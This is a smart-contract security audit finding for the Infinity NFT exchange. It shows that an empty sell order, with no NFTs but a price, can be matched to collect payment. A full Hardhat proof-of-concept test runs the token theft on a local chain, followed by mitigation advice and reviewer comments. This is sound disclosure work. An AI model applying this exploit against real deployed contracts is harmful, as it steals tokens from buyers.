Bug in `MatchOneToManyOrders` may cause tokens theft

[code423n4]

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L178

Vulnerability details

Impact

The MatchOneToManyOrders does not check whether a given sell order is malicious, i.e., containing no NFT tokens but still requiring payment.

This may cause the sellers to maliciously profit.

For example, we have a buyOrder and a set of sell orders [sellOrder0, sellOrder1, sellOrder2]. Originally, they match well but with a legal price gas (which is common in the real world), i.e., MatchOneToManyOrders(buyOrder, [sellOrder0, sellOrder1, sellOrder2]) can be successfully processed.

However, If the hacker proposes another sellOrder3 which sells nothing but requests money/tokens. The MatchOneToManyOrders(buyOrder, [sellOrder0, sellOrder1, sellOrder2, sellOrder3]) will also succeed and the hacker does not need to send out any NFT token but grabs a considerable gain.

Attack Scenario

There are two possible attack scenarios.

The MATCH_EXECUTOR is not in a good faith

MATCH_EXECUTOR can always gain profit by leveraging this vulnerability. That is, every time the executor proposes a MatchOneToManyOrders, it can add one more EMPTY order to gain the profit.

It is one kind of centralization issue. All the processes should happen in a trust-less environment.

Hackers can brute force the price gaps by sending out a large amount of EMPTY sell orders

Note that creating an order happens off-chain. That means, the hacker can send out a large amount of EMPTY orders without paying any gas fee.

Once the executor picks any of the malicious orders, the hacker can gain the profit without a loss of NFT tokens.

This vulnerability also affects matchOrders.

Proof of Concept

Put the following poc3.js under test/ directory.

const { expect } = require('chai');
const { ethers, network } = require('hardhat');
const { deployContract, NULL_ADDRESS, nowSeconds } = require('../tasks/utils');
const {
  prepareOBOrder,
  getCurrentSignedOrderPrice,
  approveERC20,
  grantApprovals,
  signOBOrder
} = require('../helpers/orders');

async function prepare1155OBOrder(user, chainId, signer, order, infinityExchange) {
  // grant approvals
  const approvals = await grantApprovals(user, order, signer, infinityExchange.address);
  if (!approvals) {
    return undefined;
  }

  // sign order
  const signedOBOrder = await signOBOrder(chainId, infinityExchange.address, order, signer);

  const isSigValid = await infinityExchange.verifyOrderSig(signedOBOrder);
  if (!isSigValid) {
    console.error('Signature is invalid');
    return undefined;
  }
  return signedOBOrder;
}

describe('PoC_matchOneToManyOrders', function () {
  let signers,
    dev,
    matchExecutor,
    seller,
    buyer,
    hacker,
    token,
    infinityExchange,
    mock721Contract1,
    mock721Contract2,
    mock721Contract3,
    obComplication

  const sellOrders = [];
  const buyOrders = [];

  let orderNonce = 0;

  const FEE_BPS = 250;
  const UNIT = toBN(1e18);
  const INITIAL_SUPPLY = toBN(1_000_000).mul(UNIT);

  const totalNFTSupply = 100;
  const numNFTsToTransfer = 50;
  const numNFTsLeft = totalNFTSupply - numNFTsToTransfer;

  function toBN(val) {
    return ethers.BigNumber.from(val.toString());
  }

  before(async () => {
    // signers
    signers = await ethers.getSigners();
    dev = signers[0];
    matchExecutor = signers[1];
    seller = signers[2];
    buyer = signers[3];
    hacker = signers[4];
    // token
    token = await deployContract('MockERC20', await ethers.getContractFactory('MockERC20'), signers[0]);

    // NFT
    mock721Contract1 = await deployContract('MockERC721', await ethers.getContractFactory('MockERC721'), dev, [
      'Mock NFT 1',
      'MCKNFT1'
    ]);
    mock721Contract2 = await deployContract('MockERC721', await ethers.getContractFactory('MockERC721'), dev, [
      'Mock NFT 2',
      'MCKNFT2'
    ]);
    mock721Contract3 = await deployContract('MockERC721', await ethers.getContractFactory('MockERC721'), dev, [
      'Mock NFT 3',
      'MCKNFT3'
    ]);

    // Exchange
    infinityExchange = await deployContract(
      'InfinityExchange',
      await ethers.getContractFactory('InfinityExchange'),
      dev,
      [token.address, matchExecutor.address]
    );

    // OB complication
    obComplication = await deployContract(
      'InfinityOrderBookComplication',
      await ethers.getContractFactory('InfinityOrderBookComplication'),
      dev
    );

    // add currencies to registry
    await infinityExchange.addCurrency(token.address);
    await infinityExchange.addCurrency(NULL_ADDRESS);

    // add complications to registry
    await infinityExchange.addComplication(obComplication.address);

    // send assets
    await token.transfer(seller.address, INITIAL_SUPPLY.div(4).toString());
    await token.transfer(buyer.address, INITIAL_SUPPLY.div(4).toString());
    await token.transfer(hacker.address, INITIAL_SUPPLY.div(4).toString());
    for (let i = 0; i < numNFTsToTransfer; i++) {
      await mock721Contract1.transferFrom(dev.address, seller.address, i);
      await mock721Contract2.transferFrom(dev.address, seller.address, i);
      await mock721Contract3.transferFrom(dev.address, seller.address, i);
    }
  });

  describe('PoC', () => {
    it('sell order 0', async function () {
      // prepare order
      const user = {
        address: seller.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [
        {
          collection: mock721Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        }
      ];
      const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
      const numItems = 1;
      const order = {
        id: orderId,
        chainId,
        isSellOrder: true,
        signerAddress: user.address,
        numItems,
        startPrice: ethers.utils.parseEther('1'),
        endPrice: ethers.utils.parseEther('1'),
        startTime: nowSeconds(),
        endTime: nowSeconds().add(10 * 60),
        nonce,
        nfts,
        execParams,
        extraParams
      };
      const sellOrder = await prepareOBOrder(user, chainId, seller, order, infinityExchange);
      expect(sellOrder).to.not.be.undefined;

      sellOrders.push(sellOrder);
    });

    it('sell order 1', async function () {
      // prepare order
      const user = {
        address: seller.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [
        {
          collection: mock721Contract1.address,
          tokens: [{ tokenId: 1, numTokens: 1 }]
        }
      ];
      const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
      const numItems = 1;
      const order = {
        id: orderId,
        chainId,
        isSellOrder: true,
        signerAddress: user.address,
        numItems,
        startPrice: ethers.utils.parseEther('1'),
        endPrice: ethers.utils.parseEther('1'),
        startTime: nowSeconds(),
        endTime: nowSeconds().add(10 * 60),
        nonce,
        nfts,
        execParams,
        extraParams
      };
      const sellOrder = await prepareOBOrder(user, chainId, seller, order, infinityExchange);
      expect(sellOrder).to.not.be.undefined;

      sellOrders.push(sellOrder);
    });

    it('sell order 2', async function () {
      // prepare order
      const user = {
        address: seller.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [
        {
          collection: mock721Contract1.address,
          tokens: [{ tokenId: 2, numTokens: 1 }]
        }
      ];
      const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
      const numItems = 1;
      const order = {
        id: orderId,
        chainId,
        isSellOrder: true,
        signerAddress: user.address,
        numItems,
        startPrice: ethers.utils.parseEther('1'),
        endPrice: ethers.utils.parseEther('1'),
        startTime: nowSeconds(),
        endTime: nowSeconds().add(10 * 60),
        nonce,
        nfts,
        execParams,
        extraParams
      };
      const sellOrder = await prepareOBOrder(user, chainId, seller, order, infinityExchange);
      expect(sellOrder).to.not.be.undefined;

      sellOrders.push(sellOrder);
    });

    it('buy order', async function () {
      // prepare order
      const user = {
        address: buyer.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [
        {
          collection: mock721Contract1.address,
          tokens: [
            { tokenId: 0, numTokens: 1 },
            { tokenId: 1, numTokens: 1 },
            { tokenId: 2, numTokens: 1 }
          ]
        }
      ];
      const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
      const numItems = 3;
      const order = {
        id: orderId,
        chainId,
        isSellOrder: false,
        signerAddress: user.address,
        numItems,
        startPrice: ethers.utils.parseEther('4'),
        endPrice: ethers.utils.parseEther('4'),
        startTime: nowSeconds(),
        endTime: nowSeconds().add(10 * 60),
        nonce,
        nfts,
        execParams,
        extraParams
      };
      const buyOrder = await prepareOBOrder(user, chainId, buyer, order, infinityExchange);
      expect(buyOrder).to.not.be.undefined;

      // approve the token
      await approveERC20(buyer.address, token.address, ethers.constants.MaxUint256, buyer, infinityExchange.address);

      buyOrders.push(buyOrder);
    });

    it('hack: hacker prepares an empty sell order', async function () {
      // prepare order
      const user = {
        address: hacker.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [];
      const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
      const numItems = 0;
      const order = {
        id: orderId,
        chainId,
        isSellOrder: true,
        signerAddress: user.address,
        numItems,
        startPrice: ethers.utils.parseEther('1'),
        endPrice: ethers.utils.parseEther('1'),
        startTime: nowSeconds(),
        endTime: nowSeconds().add(10 * 60),
        nonce,
        nfts,
        execParams,
        extraParams
      };
      const sellOrder = await prepareOBOrder(user, chainId, hacker, order, infinityExchange);
      expect(sellOrder).to.not.be.undefined;

      sellOrders.push(sellOrder);
    });

    it('hack: executes picks the empty order', async function () {

      // hacker balance
      const beforeAmount = await token.balanceOf(hacker.address);

      await infinityExchange.connect(matchExecutor).matchOneToManyOrders(
          buyOrders[0],
          [sellOrders[0], sellOrders[1], sellOrders[2], sellOrders[3]]
      );

      let salePrice = getCurrentSignedOrderPrice(sellOrders[3]);
      const fee = salePrice.mul(FEE_BPS).div(10000);
      const afterAmount = await token.balanceOf(hacker.address);
      expect(afterAmount.sub(beforeAmount)).to.equal(salePrice.sub(fee));
    });
  });
});

and run npx hardhat test --grep PoC_matchOneToManyOrders

Tools Used

Manual Inspection

Recommended Mitigation Steps

The mitigate the issue entirely, I would suggest to ban any empty NFT transfers.

For example, numNfts must be bigger than zero here. Also make sure the ERC1155 transferring at least 1 item.

[nneverlander]

Please check this: https://github.com/infinitydotxyz/exchange-contracts-v2/commit/7f0e195d52165853281b971b8610b27140da6e41

No more ERC1155 either.

The loop that transfers NFTs already checks for non empty array

Not sure of the assessment.

[HardlyDifficult]

This is a great report, appreciate the detail and the PoC code.

Given that the call must originate from the match executor, it seems unlikely that it would match with an empty sell order. Additionally it should be easy to filter these when submitted off-chain. With that in mind, lowering this to a Medium risk issue.